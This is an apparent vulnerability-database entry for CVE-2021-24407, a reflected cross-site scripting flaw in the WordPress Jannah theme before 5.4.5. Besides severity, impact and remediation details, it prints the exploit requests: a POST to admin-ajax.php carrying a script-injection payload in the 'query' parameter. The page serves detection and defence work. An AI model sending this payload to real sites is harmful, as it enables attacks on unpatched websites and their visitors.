🔙 목록으로 돌아가기

CVE-2021-24407: WordPress Jannah Theme <5.4.5 - Cross-Site Scripting

TitleWordPress Jannah Theme <5.4.5 - Cross-Site Scripting
Authorpikpikcu
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate the Jannah Theme to version 5.4.5 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
CVSS Score6.1
EPSS Score0.20956
CVE IDCVE-2021-24407
CWE IDCWE-79
Tags cve2021 cve wordpress xss wp-theme wpscan tielabs vuln

🔍 Vulnerability Description

WordPress Jannah theme before 5.4.5 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the ‘query’ POST parameter in its tie_ajax_search AJAX action.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 79
Accept-Encoding: gzip

action=tie_ajax_search&query[]=</script><script>alert(document.domain)</script>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24407.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24407.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A